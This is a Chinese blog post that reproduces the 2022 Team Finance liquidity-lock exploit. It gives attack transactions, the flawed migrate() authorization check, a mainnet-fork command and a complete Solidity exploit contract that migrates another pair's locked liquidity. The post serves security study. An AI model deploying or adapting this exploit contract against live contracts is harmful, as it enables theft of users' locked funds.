# 邯郸学步——Team Finance复现

By [lgrok](https://paragraph.com/@lgrok) · 2022-11-08

---

team finance锁定的交易对的从v2迁移v3过程中， 因为检查不当导致构造利用任意的交易对可以迁移其他交易对。

### 攻击hash：

0xe8f17ee00906cd0cfb61671937f11bd3d26cdc47c1534fedc43163a7e89edc6f

0xb2e3ea72d353da43a2ac9a8f1670fd16463ab370e563b9b5b26119b2601277ce

### 攻击者合约：

 0xCFF07C4e6aa9E2fEc04DAaF5f41d1b10f3adAdF4

### 攻击者地址：

0x161cebB807Ac181d5303A4cCec2FC580CC5899Fd

0xEB2423fBeb5d94Cd83136A74341a39a2487Fb3cb

### 分析过程：

**准备工作**

[0xe8f17ee00906cd0cfb61671937f11bd3d26cdc47c1534fedc43163a7e89edc6f](https://tx.eth.samczsun.com/ethereum/0xe8f17ee00906cd0cfb61671937f11bd3d26cdc47c1534fedc43163a7e89edc6f)

准备工作做了两个事情

1、获取交易费用

2、锁定Token [0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF](https://etherscan.io/address/0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF) 获取锁定id 15324

![锁定Token](https://storage.googleapis.com/papyrus_images/7b8a9df9cd03c8338f1985ff20f7b90c08c2ff03932f9de6f5a975f52d139830.png)

锁定Token

**攻击过程**

[0xb2e3ea72d353da43a2ac9a8f1670fd16463ab370e563b9b5b26119b2601277ce](https://tx.eth.samczsun.com/ethereum/0xb2e3ea72d353da43a2ac9a8f1670fd16463ab370e563b9b5b26119b2601277ce)

通过调用Team Finance Lock的migrate，将之前准备好的id传入迁移参数。这个过程中迁移了1%的锁定FEG-ETH，然后将剩余的99%代币转换为ETH转入攻击者的第二个地址0xEB2423fBeb5d94Cd83136A74341a39a2487Fb3cb

![迁移V2->V3](https://storage.googleapis.com/papyrus_images/d6aa7ccf11cb8c55de2011ee75629f8e1b2ebbaaabd9291338e56ff21499e4c7.png)

迁移V2->V3

### 代码分析：

_参数如下_

(\_id=15324, params=(pair=[\[Uniswap V2: FEG\]](https://etherscan.io/address/0x854373387E41371Ac6E307A1F29603c6Fa10D872), liquidityToMigrate=15000000000000000000000, percentageToMigrate=1, token0=[0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF](https://etherscan.io/address/0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF), token1=[\[Wrapped Ether\]](https://etherscan.io/address/0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2), fee=500, tickLower=-100, tickUpper=100, amount0Min=0, amount1Min=0, recipient=[0xBa399a2580785A2dEd740F5e30EC89Fb3E617e6E](https://etherscan.io/address/0xBa399a2580785A2dEd740F5e30EC89Fb3E617e6E), deadline=1666859863, refundAsETH=true), noLiquidity=true, sqrtPriceX96=79210883607084793911461085816, \_mintNFT=false)

    /**
        * migrate liquidity from v2 to v3
    */
    function migrate(
        uint256 _id,
        IV3Migrator.MigrateParams calldata params,
        bool noLiquidity,
        uint160 sqrtPriceX96,
        bool _mintNFT
    )
    ......
    {
    //检查管理员地址，和本次攻击无关
        require(address(nonfungiblePositionManager) != address(0), "NFT manager not set");
        require(address(v3Migrator) != address(0), "v3 migrator not set");
    //检查锁定token时长，这里可以构造
        Items memory lockedERC20 = lockedToken[_id];
        require(block.timestamp < lockedERC20.unlockTime, "Unlock time already reached");
    //检查迁移调用者为锁定token的提币地址，问题出在这里，原本应该检查FEG锁定的情况，这里只检查了传入id的所代表的token情况，引发了漏洞
        require(_msgSender() == lockedERC20.withdrawalAddress, "Unauthorised sender");
        require(!lockedERC20.withdrawn, "Already withdrawn");
    ......
    

### 乱七八糟的复现攻击代码

毕竟没写过solidity，乱七八糟的写了写，复现了下攻击。

首先用ganache还原到攻击前的高度15837892，并解锁攻击者的地址

ganache-cli --fork.url [https://eth-mainnet.g.alchemy.com/v2/key](https://eth-mainnet.g.alchemy.com/v2/key) -h 0.0.0.0 --fork.blockNumber  15837892 -n -u "0x161cebB807Ac181d5303A4cCec2FC580CC5899Fd"

#### 攻击代码

    //SPDX-License-Identifier: Unlicense
    pragma solidity ^0.8.0;
    import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
    
    interface IV3Migrator {
        struct MigrateParams {
            address pair; // the Uniswap v2-compatible pair
            uint256 liquidityToMigrate; // expected to be balanceOf(msg.sender)
            uint8 percentageToMigrate; // represented as a numerator over 100
            address token0;
            address token1;
            uint24 fee;
            int24 tickLower;
            int24 tickUpper;
            uint256 amount0Min; // must be discounted by percentageToMigrate
            uint256 amount1Min; // must be discounted by percentageToMigrate
            address recipient;
            uint256 deadline;
            bool refundAsETH;
        }
    }
    
    interface LockToken {
        
        function getFeesInETH(
            address  _tokenAddress
        ) external returns (uint256);
        function lockToken(
            address _tokenAddress,
            address _withdrawalAddress,
            uint256 _amount,
            uint256 _unlockTime,
            bool _mintNFT
        )external payable returns (uint256 _id);
        function migrate(
            uint256 _id,
            IV3Migrator.MigrateParams calldata params,
            bool noLiquidity,
            uint160 sqrtPriceX96,
            bool _mintNFT
        )external payable;
    }
    
    interface IUniswapV2Pair {
        event Approval(address indexed owner, address indexed spender, uint value);
        event Transfer(address indexed from, address indexed to, uint value);
    
        function name() external pure returns (string memory);
        function symbol() external pure returns (string memory);
        function decimals() external pure returns (uint8);
        function totalSupply() external view returns (uint);
        function balanceOf(address owner) external view returns (uint);
        function allowance(address owner, address spender) external view returns (uint);
    }
    
    contract Hack {
        address public owner;
        address public constant LOCKTOKEN = 0xE2fE530C047f2d85298b07D9333C05737f1435fB;
        address public constant FAKETOKEN = 0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF;
        address public constant UniswapV2Paire = 0x854373387E41371Ac6E307A1F29603c6Fa10D872;
    
        event Deposit(uint256 id);
        event GetFeesOver(uint256 num);
        constructor(address _owner) {
            owner = _owner;
        }
    
        modifier onlyOwner() {
            require(msg.sender == owner, "not owner");
            _;
        }
    
        function getFeesInETH(address tokenaddress) external returns (uint256 fees){
            fees =  LockToken(LOCKTOKEN).getFeesInETH(tokenaddress);
            emit GetFeesOver(fees);
        }
    
        function lockToken(uint256 locktime, uint256 amount) external payable onlyOwner  returns (uint256 _id){
            uint256 fee = LockToken(LOCKTOKEN).getFeesInETH(FAKETOKEN);
            emit GetFeesOver(fee);
            _id = LockToken(LOCKTOKEN).lockToken{value: msg.value}(0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF, address(this), amount, locktime, false);
            emit Deposit(_id);
        }
    
        function hack(uint256 id) external  onlyOwner {
            uint balanceOfFEG = IUniswapV2Pair(UniswapV2Paire).balanceOf(LOCKTOKEN);
            IV3Migrator.MigrateParams memory param = IV3Migrator.MigrateParams(UniswapV2Paire, balanceOfFEG, 1, 0x2d4ABfDcD1385951DF4317f9F3463fB11b9A31DF, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, 500,-100,100,0,0,address(this),1669826489,true);
            //LockToken(LOCKTOKEN).migrate(id, param ,true, 79210883607084793911461085816, false);
            LockToken(LOCKTOKEN).migrate(id, param ,true, 79210883607084793, false);
        }
        event Received(address Sender, uint Value);
        receive() external payable {
            emit Received(msg.sender, msg.value);
        }
    }
    

### 总结一下

*   这次漏洞的代码比较简单，只是因为鉴权不当导致资产损失。有些感悟可以凡是涉及到资产调用的合约代码，查看其信息流是否可控完成漏洞攻击。
    
*   solidity的代码还是要多写，各种函数属性都会不是很熟悉。

---

*Originally published on [lgrok](https://paragraph.com/@lgrok/team-finance)*
